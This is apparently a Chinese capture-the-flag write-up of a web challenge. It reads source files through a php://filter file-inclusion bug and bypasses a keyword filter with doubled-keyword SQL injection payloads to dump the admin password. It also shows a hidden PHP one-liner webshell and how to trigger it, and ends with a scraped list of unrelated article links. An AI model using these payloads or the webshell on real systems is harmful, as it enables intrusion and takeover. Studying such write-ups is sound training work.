地址

http://cms.nuptzj.cn/

0x01 

很有意思的一题综合题,确实包含的内容比较多

打开页面

把能打开的都打开,能看的都看一下

几个重点的信息

  1. 一段hash e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bfd94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834
    一段base64 MzAzMTY3YWQxZDlmZmUyNGIxOWNjZWI1OWY4NzA3ZmU=
  2.  
  3. 留言搜索跳转到 so.php
    点击尾页跳转 index.php?page=1
    留言板 preview.php
    提交留言 say.php?nice=213&usersay=123&Submit=确认提交
    并告诉我们XSS不一定成功,以及查看源码有惊喜
  4.  
  5. 末尾有cms说明
    config.php:存放数据库信息,移植此CMS时要修改
  6. index.php:主页文件
  7. passencode.phpFunny公司自写密码加密算法库
  8. say.php:用于接收和处理用户留言请求
  9. sm.txt:本CMS的说明文档
  10.  
  11. 以及admin的表结构
    create table admin (
  12. id integer,
  13. username text,
  14. userpass text,
  15. )

0x02

CMS说明的时候,URL为 about.php?file=sm.txt,file字眼一般有文件包含的漏洞(常见的套路),尝试一下用伪协议来读取其他信息读取about.php

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=about.php

  1. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  2. <?php
  3. $file=$_GET['file'];
  4. if($file=="" || strstr($file,'config.php')){
  5. echo "file参数不能为空!";
  6. exit();
  7. }else{
  8. $cut=strchr($file,"loginxlcteam");
  9. if($cut==false){
  10. $data=file_get_contents($file);
  11. $date=htmlspecialchars($data);
  12. echo $date;
  13. }else{
  14. echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
  15. }
  16. }

发现代码有一个loginxlcteam,尝试输入是一个后台登入

http://cms.nuptzj.cn/loginxlcteam/

读取so.php

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>搜索留言</title>
  6. </head>
  7.  
  8. <body>
  9. <center>
  10. <div id="say" name="say" align="left" style="width:1024px">
  11. <?php
  12. if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
  13. echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
  14. exit();
  15. }
  16. $id=$_POST['soid'];
  17. include 'config.php';
  18. include 'antiinject.php';
  19. include 'antixss.php';
  20. $id=antiinject($id);
  21. $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
  22. mysql_select_db($db_name,$con);
  23. $id=mysql_real_escape_string($id);
  24. $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
  25. $rs=mysql_fetch_array($result);
  26. echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
  27. mysql_free_result($result);
  28. mysql_free_result($file);
  29. mysql_close($con);
  30. ?>
  31. </div>
  32. </center>
  33. </body>
  34. </html>

获取信息,得到了sql查询语句,同时还包含三个文件config.php、antiinject.php、antixss.php

读取antixss.php文件

  1. <?php
  2. function antixss($content){
  3. preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
  4. $key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
  5. $re=$url[2];
  6. if(count($url)==0){
  7. return htmlspecialchars($content);
  8. }else{
  9. for($i=0;$i<=count($key);$i++){
  10. $re=str_replace($key[$i], '_',$re);
  11. }
  12. return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
  13. }
  14. }
  15. ?>

基本把XSS过滤光了

读取antiinject.php    config.php无法读取

  1. <?php
  2. function antiinject($content){
  3. $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
  4. $info=strtolower($content);
  5. for($i=0;$i<=count($keyword);$i++){
  6. $info=str_replace($keyword[$i], '',$info);
  7. }
  8. return $info;
  9. }
  10. ?>

sql注入也基本过滤光了,但是这是把关键字替换为空,可以用双写来进行绕过,空格可以用/* */来绕过,注意一下so.php中代码中需要把浏览器变成 'Xlcteam Browser'才能执行

0x03

通过sql注入,获取密码登入后台

构造payload获取显示列,抓包改浏览器代理Xlcteam Browser才能执行

  1. soid=1/**/ununionion/**/seleselectct/**/1,2,3,4

显示位是2和3

构造payload直接获得密码

soid=-1 union select 1,2,group_concat(userpass),4 from admin

变形后的payload

  1. soid=-1/**/uunionnion/**/sselectelect/**/1,2,group_concat(userppassass),4/**/frfromom/**/aadmindmin

得到一段ascll码

解码后是fuckruntu

0x04

账号admin 密码fuckruntu,登入成功

原网站有一句话木马,先看看一句话木马的源码

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php

  1. <?php
  2. $e = $_REQUEST['www'];
  3. $arr = array($_POST['wtf'] => '|.*|e',);
  4. array_walk($arr, $e, '');
  5. ?>

这里利用一个preg_replace()函数的漏洞配合着上面的array_walk函数

preg_replace( pattern , replacement , subject ) :

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行

于是构造payload

http://cms.nuptzj.cn/xlcteam.php?www=preg_replace

然后小马的密码是wtf

这里用cknife连接

获得flag

web-综合题2的更多相关文章

  1. 前端面试题集锦及答案解析--HTML、 HTTP、web综合问题

    前端需要注意哪些SEO 合理的title.description.keywords:搜索对着三项的权重逐个减小,title值强调重点即可,重要关键词出现不要超过2次,而且要靠前,不同页面title要有 ...

  2. web综合案例04

    web综合案例02 web综合案例02 web综合案例04 待补充 ... ...

  3. web综合案例03

    web综合案例03 web综合案例03 web综合案例03 web综合案例03 ... 待复习

  4. web综合案例02

    web综合案例02 web综合案例02 web综合案例02 ... ... 内容待添加

  5. web综合案例01

    web综合案例01 ... .... 内容待添加

  6. 3. 关于sql注入的综合题

    关于sql注入的综合题                          ----------南京邮电大学ctf : http://cms.nuptzj.cn/ 页面上也给了好多信息: 根据这个sm. ...

  7. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  8. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  9. 攻防世界web进阶题—unfinish

    攻防世界web进阶题-unfinish 1.看一下题目提示SQL 2.打开题目看一下源码,没有问题 3.查一下网站的组成:php+Apache/2.4.7+Ubuntu 4.扫一下目录,扫到一个注册页 ...

  10. 攻防世界web进阶题—bug

    攻防世界web进阶题-bug 1.打开题目看一下源码,没有问题 2.扫一下目录,没有问题 3.查一下网站的组成:php+Apache+Ubuntu 只有登录界面 这里可以可以想到:爆破.万能密码.进行 ...

随机推荐

  1. s3c2440裸机-UART编程(一、UART硬件介绍及传输原理)

    1.uart硬件介绍 UART的全称是Universal Asynchronous Receiver and Transmitter(异步收发器). uart主要用于: 1.打印调试 2.数据传输 串 ...

  2. DOS下查看驱动版本号

    1.进入目录:C:\Program Files\NVIDIA Corporation\NVISMI 2.输入命令nvidia-smi 可以看到我的显卡驱动版本号为431.60

  3. 扩展KMP笔记

    KMP能计算一个字符串的每个位置前最长公共前缀后缀 扩展KMP可以用来计算两个字符串间的最长公共前缀后缀的…… 不过为了计算这个需要绕些弯路 已知字符串$S$和$P$,$S$的长度为$n$,$P$的长 ...

  4. 记MacOs视频mov与mp4格式转换问题解决

    综述 记录了mov转mp4格式的方法 记录了自己是多蠢 问题背景 这学期选修的<工程英语视听说>课,需要提交一段口语考试视频,于是乎: 带着我的大疆Mavic Mini 和iPad Pro ...

  5. CSS旋转动画和动画的拼接

    旋转动画 第一个样式: @keyframes rotating { from { transform: rotate(0deg); } to { transform: rotate(360deg); ...

  6. HTML连载52-网易注册界面之上部完成、中部初探

    一.看一下注释即可,都是前面学到的知识,然后进行整合完成网页的制作,未完待续,这个网易界面跨度可大三天. <!DOCTYPE html> <html lang="en&qu ...

  7. 1+x证书web前端开发jquery专项练习测试题

    javascript程序设计-题库 1.下面哪一种不属于Jquery的选择器? A. 基本选择器 B. 层次选择器 C. 表单选择器 D. 节点选择器 答案: D 2.如果需要匹配包含文本的元素,用下 ...

  8. js的事件循环(Event Loop)

    (本文从掘金小册整理) 首先介绍一下几个概念 进程与线程 相信大家经常会听到 JS 是单线程执行的,但是你是否疑惑过什么是线程? 讲到线程,那么肯定也得说一下进程.本质上来说,两个名词都是 CPU 工 ...

  9. 关于Unity中AI随机巡逻障碍物预判与快速运动时物理穿透的思考

    如果不想用Unity的导航系统,很多时候就要解决如何预判前进路径中的障碍物问题,之前也看过一些非常经典的寻路算法例如AStar寻路,虽然也可实现功能,但总感觉有些小题大做.寻路算法大多数都是为了得出最 ...

  10. Java队列和定时器Timer

       一: Queue详解    Queue: 基本上,一个队列就是一个先入先出(FIFO)的数据结构    Queue接口与List.Set同一级别,都是继承了Collection接口.Linked ...